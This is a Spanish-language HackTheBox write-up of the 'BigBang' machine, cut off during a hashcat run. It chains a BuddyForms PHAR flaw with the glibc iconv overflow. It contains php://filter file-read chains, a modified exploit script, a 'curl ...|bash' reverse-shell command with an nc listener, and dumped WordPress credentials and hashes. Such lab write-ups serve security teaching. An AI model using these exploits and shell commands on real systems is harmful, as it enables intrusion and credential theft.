This page looks best with JavaScript enabled

HackTheBox - BigBang

En BingBang se realizo la explotacion de una vulnerabilidad en GLibc a traves de un plugin de WordPress lo que nos dio acceso a un contenedor de Docker. El acceso a la base de datos de WordPress nos permitio el acceso a un primer usuario. Con este ultimo descubrimos una base de datos de Grafana esto permitio obtener credenciales de un segundo usuario. Finalmente, escalamos privilegios tras el analisis de una aplicacion Android y la explotacion de Command Injection en una API.

Nombre BigBang box_img_maker
OS

Linux

Puntos 40
Dificultad Hard
Fecha de Salida 2025-01-25
IP 10.10.11.52
Maker

ruycr4ft


lavclash75

Rated
{
    "type": "bar",
    "data":  {
        "labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"],
        "datasets": [{
            "label": "User Rated Difficulty",
            "data": [57, 17, 72, 120, 187, 172, 407, 349, 252, 652],
            "backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"]
        }]
    },
    "options": {
        "scales": {
          "xAxes": [{"display": false}],
          "yAxes": [{"display": false}]
        },
        "legend": {"labels": {"fontColor": "white"}},
        "responsive": true
      }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# Nmap 7.94SVN scan initiated Mon Mar  3 19:01:52 2025 as: nmap -p22,80 -sV -sC -oN nmap_scan 10.10.11.52
Nmap scan report for 10.10.11.52
Host is up (0.067s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 d4:15:77:1e:82:2b:2f:f1:cc:96:c6:28:c1:86:6b:3f (ECDSA)
|_  256 6c:42:60:7b:ba:ba:67:24:0f:0c:ac:5d:be:92:0c:66 (ED25519)
80/tcp open  http    Apache httpd 2.4.62
|_http-title: Did not follow redirect to http://blog.bigbang.htb/
|_http-server-header: Apache/2.4.62 (Debian)
Service Info: Host: blog.bigbang.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Mar  3 19:02:02 2025 -- 1 IP address (1 host up) scanned in 10.12 seconds

Web Site

El sitio web nos redirige al subdominio blog.bigbang.htb el cual agregamos al archivo /etc/hosts.

1
2
3
4
5
6
7
8
❯ curl -sI 10.10.11.52
HTTP/1.1 301 Moved Permanently
Date: Tue, 04 Mar 2025 00:04:27 GMT
Server: Apache/2.4.62 (Debian)
Location: http://blog.bigbang.htb/
Content-Type: text/html; charset=iso-8859-1

El dominio muestra una redireccion al subdominio.

1
2
3
4
5
6
7
8
❯ curl -sI bigbang.htb
HTTP/1.1 301 Moved Permanently
Date: Sun, 09 Mar 2025 07:32:19 GMT
Server: Apache/2.4.62 (Debian)
Location: http://blog.bigbang.htb/
Content-Type: text/html; charset=iso-8859-1

Los headers del sitio muestran Wordpress y PHP 8.3.2.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
❯ curl -sI blog.bigbang.htb
HTTP/1.1 200 OK
Date: Tue, 04 Mar 2025 00:06:32 GMT
Server: Apache/2.4.62 (Debian)
X-Powered-By: PHP/8.3.2
Link: <http://blog.bigbang.htb/index.php?rest_route=/>; rel="https://api.w.org/"
Content-Type: text/html; charset=UTF-8

❯ curl -sI blog.bigbang.htb/index.php
HTTP/1.1 301 Moved Permanently
Date: Tue, 04 Mar 2025 00:06:45 GMT
Server: Apache/2.4.62 (Debian)
X-Powered-By: PHP/8.3.2
X-Redirect-By: WordPress
Location: http://blog.bigbang.htb/
Content-Type: text/html; charset=UTF-8

Al visitar el sitio se muestra una breve descripcion de la ‘universidad’.

Ademas observamos un formulario de BuddyForms para agregar “reviews”.

Existe una review, su contenido es un mensaje por default.

WPScan

Ejecutamos wpscan sobre el sitio, especificando la enumeracion de plugins. Observamos la version de Wordpress 6.5.4 y el plugin buddyforms en su version 2.7.7.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
❯ wpscan --url http://blog.bigbang.htb -e ap --no-banner
[+] URL: http://blog.bigbang.htb/ [10.10.11.52]
[+] Started: Sun Mar  9 03:42:40 2025

Interesting Finding(s):

[+] Headers
 | Interesting Entries:
 |  - Server: Apache/2.4.62 (Debian)
 |  - X-Powered-By: PHP/8.3.2
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://blog.bigbang.htb/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://blog.bigbang.htb/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://blog.bigbang.htb/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://blog.bigbang.htb/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 6.5.4 identified (Insecure, released on 2024-06-05).
 | Found By: Rss Generator (Passive Detection)
 |  - http://blog.bigbang.htb/?feed=rss2, <generator>https://wordpress.org/?v=6.5.4</generator>
 |  - http://blog.bigbang.htb/?feed=comments-rss2, <generator>https://wordpress.org/?v=6.5.4</generator>

[+] WordPress theme in use: twentytwentyfour
 | Location: http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/
 | Last Updated: 2024-11-13T00:00:00.000Z
 | Readme: http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/readme.txt
 | [!] The version is out of date, the latest version is 1.3
 | [!] Directory listing is enabled
 | Style URL: http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/style.css
 | Style Name: Twenty Twenty-Four
 | Style URI: https://wordpress.org/themes/twentytwentyfour/
 | Description: Twenty Twenty-Four is designed to be flexible, versatile and applicable to any website. Its collecti...
 | Author: the WordPress team
 | Author URI: https://wordpress.org
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 1.1 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://blog.bigbang.htb/wp-content/themes/twentytwentyfour/style.css, Match: 'Version: 1.1'

[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] buddyforms
 | Location: http://blog.bigbang.htb/wp-content/plugins/buddyforms/
 | Last Updated: 2025-02-27T23:01:00.000Z
 | [!] The version is out of date, the latest version is 2.8.17
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 2.7.7 (80% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://blog.bigbang.htb/wp-content/plugins/buddyforms/readme.txt

[..] snip [..]

Tambien, enumeramos los usuarios, encontramos dos: root y shawking.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
[i] User(s) Identified:

[+] root
 | Found By: Author Posts - Display Name (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] shawking
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

BuddyForms & GLibC

Encontramos que existe la vulnerabilidad PHAR deserialization (CVE-2023-26326) en BuddyForms en versiones anteriores a 2.7.8. En un post de Tenable se explica la vulnerabilidad, las condiciones y un PoC. En este ultimo se muestra la explotacion de un plugin vulnerable personalizado y la construccion de un payload agregando GIF89a al archivo para realizar bypass al “filtro” de imagenes (getimagesize()), la subida de este es a traves de una URL y su ejecucion por medio de PHAR. Sin embargo, no existe un “gadget chain” funcional para este plugin que nos permita, en el este caso de BigBang, realizar la explotacion de manera similar.

Mientras realizabamos la busqueda de vulnerabilidades encontramos el post: Iconv, set the charset to RCE: Exploiting the glibc to hack the PHP engine; en este se explica el CVE-2024-2961, una vulnerabilidad buffer overflow que afecta a la libreria glibc en la funcion inconv(). Funciona en versiones de PHP 7.0.0 a 8.3.7, en WordPress, Laravel, etc.; ademas se realiza a traves de solicitudes http. Se muestra una explotacion demo a traves de la vulnerabilidad CVE-2023-26326 de BuddyForms donde se logra la ejecucion de una shell inversa.

CVE-2023-26326 + CVE-2024-2961

El PoC de la demo para BuddyForms no se menciona en el post pero si el exploit para glibc. El exploit necesita realizar la lectura de archivos para construir el payload, los archivos son: /proc/self/maps y libc.so, para esto se menciona la herramienta wrapwrap que permite realizar bypass al “filtro” de imagenes y lectura de archivos.

Reading Files

Clonamos la herramienta wrapwrap para generar la cadena de filtros.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
❯ python3 wrapwrap.py -h
usage: wrapwrap.py [-h] [-o OUTPUT] [-p PADDING_CHARACTER] [-f] path prefix suffix nb_bytes

Generates a php://filter wrapper that adds a prefix and a suffix to the contents of a file.

Example:

    $ ./wrapwrap.py /etc/passwd '<root><test>' '</test></root>' 100
    [*] Dumping 108 bytes from /etc/passwd.
    [+] Wrote filter chain to chain.txt (size=88781).
    $ php -r 'echo file_get_contents(file_get_contents("chain.txt"));'
    <root><test>root:x:0:0:root:/root:/bin/bash=0Adaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin=0Abin:x:2:2:bin:/bin:/usr/</test></root>

positional arguments:
  path                  Path to the file
  prefix                A string to write before the contents of the file
  suffix                A string to write after the contents of the file
  nb_bytes              Number of bytes to dump. It will be aligned with 9

options:
  -h, --help            show this help message and exit
  -o OUTPUT, --output OUTPUT
                        File to write the payload to. Defaults to chain.txt
  -p PADDING_CHARACTER, --padding-character PADDING_CHARACTER
                        Character to pad the prefix and suffix. Defaults to `M`.
  -f, --from-file       If set, prefix and suffix indicate files to load their value from, instead of the value itself

Especificamos la lectura de /etc/passwd, se agrega GIF89a como prefijo y sufijo '', para realizar bypass al filtro de imagenes, muestra la creacion del archivo chain.txt. Ejecutamos un “test” con php y observamos que se muestra el prefijo al inicio del archivo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
❯ python3 wrapwrap.py /etc/passwd 'GIF89a' '' 10000
[!] Ignoring nb_bytes value since there is no suffix
[+] Wrote filter chain to chain.txt (size=1444).
❯ php -r 'echo file_get_contents(file_get_contents("chain.txt"));'
GIF89aroot:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
# [...] snip [...]
❯ cat chain.txt
php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource=/etc/passwd

Agregamos una imagen al formulario, interceptamos la solicitud que realiza.

Modificamos la solicitud de la misma forma que para el archivo PHAR, pero en este caso agregamos la cadena. La respuesta es la direccion de una imagen.

Al visitar la direccion de la imagen observamos el contenido del archivo /etc/passwd. Sin embargo no se muestra el contenido completo, vemos que falta una letra al final del archivo. Esto unicamente generaria problema en la lectura del archivo libc.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
❯ curl -s http://blog.bigbang.htb/wp-content/uploads/2025/03/1.png ; echo
GIF89aroot:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologi

libc.so

La descarga de la libreria libc.so se realiza obteniendo la ruta completa de la lectura de /proc/self/maps. Tras realizar la lectura de este ultimo encontramos la ruta completa.

1
2
3
4
5
6
7
8
❯ curl -s http://blog.bigbang.htb/wp-content/uploads/2025/03/1-1.png | grep libc.so ; echo
7fe5b0fa4000-7fe5b0fca000 r--p 00000000 00:30 292782                     /usr/lib/x86_64-linux-gnu/libc.so.6
7fe5b0fca000-7fe5b111f000 r-xp 00026000 00:30 292782                     /usr/lib/x86_64-linux-gnu/libc.so.6
7fe5b111f000-7fe5b1172000 r--p 0017b000 00:30 292782                     /usr/lib/x86_64-linux-gnu/libc.so.6
7fe5b1172000-7fe5b1176000 r--p 001ce000 00:30 292782                     /usr/lib/x86_64-linux-gnu/libc.so.6
7fe5b1176000-7fe5b1178000 rw-p 001d2000 00:30 292782                     /usr/lib/x86_64-linux-gnu/libc.so.6

Realizamos la lectura de libc.so.6 para observar la version, se muestra GLIBC 2.36-9+deb12u4.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
❯ curl -s http://blog.bigbang.htb/wp-content/uploads/2025/03/1-2.png | strings | grep version
versionsort64
gnu_get_libc_version
argp_program_version
versionsort
__nptl_version
argp_program_version_hook
RPC: Incompatible versions of RPC
RPC: Program/version mismatch
<malloc version="1">
Print program version
GNU C Library (Debian GLIBC 2.36-9+deb12u4) stable release version 2.36.
Compiled by GNU CC version 12.2.0.
(PROGRAM ERROR) No version known!?
%s: %s; low version = %lu, high version = %lu
.gnu.version
.gnu.version_d
.gnu.version_r

Descargamos la misma version en el repositorio de debian.

1
2
3
4
5
6
7
8
# 2.36-9+deb12u4
# https://debian.sipwise.com/debian-security/pool/main/g/glibc/libc6_2.36-9+deb12u4_amd64.deb
# dpkg-deb -x libc6_2.36-9+deb12u4_amd64.deb libc
❯ find . -iname libc.so\*
./lib/x86_64-linux-gnu/libc.so.6
❯ strings lib/x86_64-linux-gnu/libc.so.6 | grep deb12u4
GNU C Library (Debian GLIBC 2.36-9+deb12u4) stable release version 2.36.

Exploit

Modificamos el exploit cnext-exploit.py, agregando los parametros necesarios para el envio de la “imagen” en la funcion send() de la clase Remote, tambien, se agrego el “bypass” de la imagen en download() como tambien la eliminacion de ‘GIF89a’.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# [...] snip [...] 

# import quote for send()
from urllib.parse import quote

HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8")
proxy = {'http':'127.0.0.1:8080'}

class Remote:
    # [...] snip [...] 

    def __init__(self, url: str) -> None:
        self.url = url
        self.session = Session()

    def send(self, path: str) -> Response:
        """Sends given `path` to the HTTP server. Returns the response.
        """

        data = {
            "action" : "upload_image_from_url",
            "url" : quote(path),
            "id" : "1",
            "accepted_files" : "image/gif"
        }

        return self.session.post(self.url, proxies = proxy, data = data)

    def download(self, path: str) -> bytes:
        """Returns the contents of a remote file.
        """
        
        path = f"php://filter/convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.855.UTF7|convert.base64-decode/resource={path}"
        
        response_data = self.send(path).json()

        if response_data["status"] == "FAILED":
            failure("Failed to upload file.")

        path = response_data["response"]

        # remove GIF89a and return content
        return self.session.get(path, proxies = proxy).content[6:]

En la clase Exploit se elimino la verificacion de vulnerabilidad, ademas, se modifico la direccion del archivo libc por la descargada.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
class Exploit:    

    # [...] snip [...] 

    def get_symbols_and_addresses(self) -> None:
        """Obtains useful symbols and addresses from the file read primitive."""
        regions = self.get_regions()

        #LIBC_FILE = "/dev/shm/cnext-libc"
        LIBC_FILE = "./libc.so.6"

        # PHP's heap
        self.info["heap"] = self.heap or self.find_main_heap(regions)

        # Libc
        libc = self._get_region(regions, "libc-", "libc.so.6")

        # self.download_file(libc.path, LIBC_FILE)
        self.info["libc"] = ELF(LIBC_FILE, checksec=False)        
        self.info["libc"].address = libc.start

    # [...] snip [...]

    def run(self) -> None:
        #self.check_vulnerable()
        self.get_symbols_and_addresses()
        self.exploit()

Con estos cambios ejecutamos el exploit especificando el objetivo y el comando a ejecutar, en este caso una solicitud a un servidor http, se muestra el mensaje de ejecucion exitosa.

1
2
3
4
5
6
7
❯ python3 cnext-exploit.py http://blog.bigbang.htb/wp-admin/admin-ajax.php "curl 10.10.15.81"
[*] Potential heaps: 0x7f4acc600040, 0x7f4acc400040, 0x7f4acae00040, 0x7f4ac8800040, 
0x7f4ac7a00040, 0x7f4ac7000040 (using first)

     EXPLOIT  SUCCESS 

Por otro lado, observamos la solicitud realizada por la maquina.

1
2
3
❯ httphere .
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.52 - - [10/Mar/2025 07:07:56] "GET / HTTP/1.1" 200 -

User - www-data (Docker)

Ejecutamos una shell inversa utilizando shells logrando obtener el acceso como www-data.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
# python3 cnext-exploit.py http://blog.bigbang.htb/wp-admin/admin-ajax.php "curl 10.10.15.81:8000/10.10.15.81:1335|bash"
❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.15.81] from bigbang.htb [10.10.11.52] 45552
/bin/sh: 0: can't access tty; job control turned off
$ whoami;id;pwd
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/var/www/html/wordpress/wp-admin
$

Tras explorar los directorios observamos el archivo .dockerenv lo que indicaria que estamos en un contenedor de docker.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
www-data@8e3a72b5e980:/$ ls -lah
ls -lah
total 64K
drwxr-xr-x   1 root root 4.0K Feb  4 22:08 .
drwxr-xr-x   1 root root 4.0K Feb  4 22:08 ..
-rwxr-xr-x   1 root root    0 Feb  4 22:08 .dockerenv
lrwxrwxrwx   1 root root    7 Feb 11  2024 bin -> usr/bin
drwxr-xr-x   2 root root 4.0K Jan 28  2024 boot
drwxr-xr-x   5 root root  340 Mar  6 23:54 dev
drwxr-xr-x   1 root root 4.0K Feb  4 22:08 etc
drwxr-xr-x   2 root root 4.0K Jan 28  2024 home
lrwxrwxrwx   1 root root    7 Feb 11  2024 lib -> usr/lib
lrwxrwxrwx   1 root root    9 Feb 11  2024 lib64 -> usr/lib64
drwxr-xr-x   2 root root 4.0K Feb 11  2024 media
drwxr-xr-x   2 root root 4.0K Feb 11  2024 mnt
drwxr-xr-x   2 root root 4.0K Feb 11  2024 opt
dr-xr-xr-x 232 root root    0 Mar  6 23:54 proc
drwx------   1 root root 4.0K Jan 17 15:02 root
drwxr-xr-x   1 root root 4.0K Jun  1  2024 run
lrwxrwxrwx   1 root root    8 Feb 11  2024 sbin -> usr/sbin
drwxr-xr-x   2 root root 4.0K Feb 11  2024 srv
dr-xr-xr-x  13 root root    0 Mar  6 23:54 sys
drwxrwxrwt   1 root root 4.0K Jan 17 15:00 tmp
drwxr-xr-x   1 root root 4.0K Feb 11  2024 usr
drwxr-xr-x   1 root root 4.0K Feb 13  2024 var
www-data@8e3a72b5e980:/$

WordPress DB

En el archivo de configuracion de wordpress encontramos las credenciales de la base de datos, se especifica el host 172.17.0.1. No se especifica un puerto por lo que asumimos que es una base de datos MySQL.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
www-data@8e3a72b5e980:/var/www/html/wordpress$ cat wp-config.php | grep define
<www/html/wordpress$ cat wp-config.php | grep define
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'wp_user' );
define( 'DB_PASSWORD', 'wp_password' );
define( 'DB_HOST', '172.17.0.1' );
define( 'DB_CHARSET', 'utf8mb4' );
define( 'DB_COLLATE', '' );
define( 'AUTH_KEY',         '(6xl?]9=.f9(<(yxpm9]5<wKsyEc+y&MV6CjjI(0lR2)_6SWDnzO:[g98nOOPaeK' );
define( 'SECURE_AUTH_KEY',  'F<3>KtCm^zs]Mxm Rr*N:&{SWQexFn@ wnQ+bTN5UCF-<gMsT[mH$m))T>BqL}%8' );
define( 'LOGGED_IN_KEY',    ':{yhPsf}tZRfMAut2$Fcne/.@Vs>uukS&JB04 Yy3{`$`6p/Q=d^9=ZpkfP,o%l]' );
define( 'NONCE_KEY',        'sC(jyKu>gY(,&: KS#Jh7x?/CB.hy8!_QcJhPGf@3q<-a,D#?!b}h8 ao;g[<OW;' );
define( 'AUTH_SALT',        '_B& tL]9I?ddS! 0^_,4M)B>aHOl{}e2P(l3=!./]~v#U>dtF7zR=~LnJtLgh&KK' );
define( 'SECURE_AUTH_SALT', '<Cqw6ztRM/y?eGvMzY(~d?:#]v)em`.H!SWbk.7Fj%b@Te<r^^Vh3KQ~B2c|~VvZ' );
define( 'LOGGED_IN_SALT',   '_zl+LT[GqIV{*Hpv>]H:<U5oO[w:]?%Dh(s&Tb-2k`1!WFqKu;elq7t^~v7zS{n[' );
define( 'NONCE_SALT',       't2~PvIO1qeCEa^+J}@h&x<%u~Ml{=0Orqe]l+DD7S}%KP}yi(6v$mHm4cjsK,vCZ' );
define( 'WP_DEBUG', false );
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
www-data@8e3a72b5e980:/var/www/html/wordpress$

Reverse Port Forwarding

Utilizamos chisel para enviar el puerto 3306 del host 172.17.0.1 a nuestra maquina.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# kali
sudo chisel server -p 80 --reverse

# docker wordpress (bigbang)
chisel client --max-retry-count=3 10.10.15.81:80 R:3306:172.17.0.1:3306

# kali Local port 3306 MySQL 
❯ netstat -ntpl | grep 3306
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp6       0      0 :::3306                 :::*                    LISTEN      -                   

Con mysql realizamos la conexion al puerto 3306 con las credenciales de wordpress.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
❯ mysql -h 127.0.0.1 -P 3306 -u wp_user -D wordpress -p
Enter password: 
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 2312
Server version: 8.0.32 MySQL Community Server - GPL

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [wordpress]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| performance_schema |
| wordpress          |
+--------------------+
3 rows in set (0.070 sec)
MySQL [wordpress]>

Encontramos el hash de dos usuarios en la tabla wp_users.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
MySQL [wordpress]> show tables;
+-----------------------+
| Tables_in_wordpress   |
+-----------------------+
| wp_commentmeta        |
[...] snip [...]
| wp_usermeta           |
| wp_users              |
+-----------------------+
12 rows in set (0.072 sec)

MySQL [wordpress]> describe wp_users;
+---------------------+-----------------+------+-----+---------------------+----------------+
| Field               | Type            | Null | Key | Default             | Extra          |
+---------------------+-----------------+------+-----+---------------------+----------------+
| ID                  | bigint unsigned | NO   | PRI | NULL                | auto_increment |
| user_login          | varchar(60)     | NO   | MUL |                     |                |
| user_pass           | varchar(255)    | NO   |     |                     |                |
| user_nicename       | varchar(50)     | NO   | MUL |                     |                |
| user_email          | varchar(100)    | NO   | MUL |                     |                |
| user_url            | varchar(100)    | NO   |     |                     |                |
| user_registered     | datetime        | NO   |     | 0000-00-00 00:00:00 |                |
| user_activation_key | varchar(255)    | NO   |     |                     |                |
| user_status         | int             | NO   |     | 0                   |                |
| display_name        | varchar(250)    | NO   |     |                     |                |
+---------------------+-----------------+------+-----+---------------------+----------------+
10 rows in set (0.069 sec)

MySQL [wordpress]> select user_pass,user_nicename from wp_users;
+------------------------------------+---------------+
| user_pass                          | user_nicename |
+------------------------------------+---------------+
| $P$Beh5HLRUlTi1LpLEAstRyXaaBOJICj1 | root          |
| $P$Br7LUHG9NjNk6/QSYm2chNHfxWdoK./ | shawking      |
+------------------------------------+---------------+
2 rows in set (0.068 sec)

MySQL [wordpress]>

Cracking the Hash

Ejecutamos hashcat con el wordlist rockyou.txt sobre el archivo de hash. Obtuvimos la contrasena de shawking.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
PS C:\Users\sckull\Documents\hashcat-6.2.6> .\hashcat -a 0 -m 400 ..\hash\bigbang_wp_hash rockyou.txt
hashcat (v6.2.6) starting

Successfully initialized the NVIDIA main driver CUDA runtime library.

[...] snip [...]

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 1475 MB

Dictionary cache hit:
* Filename..: rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

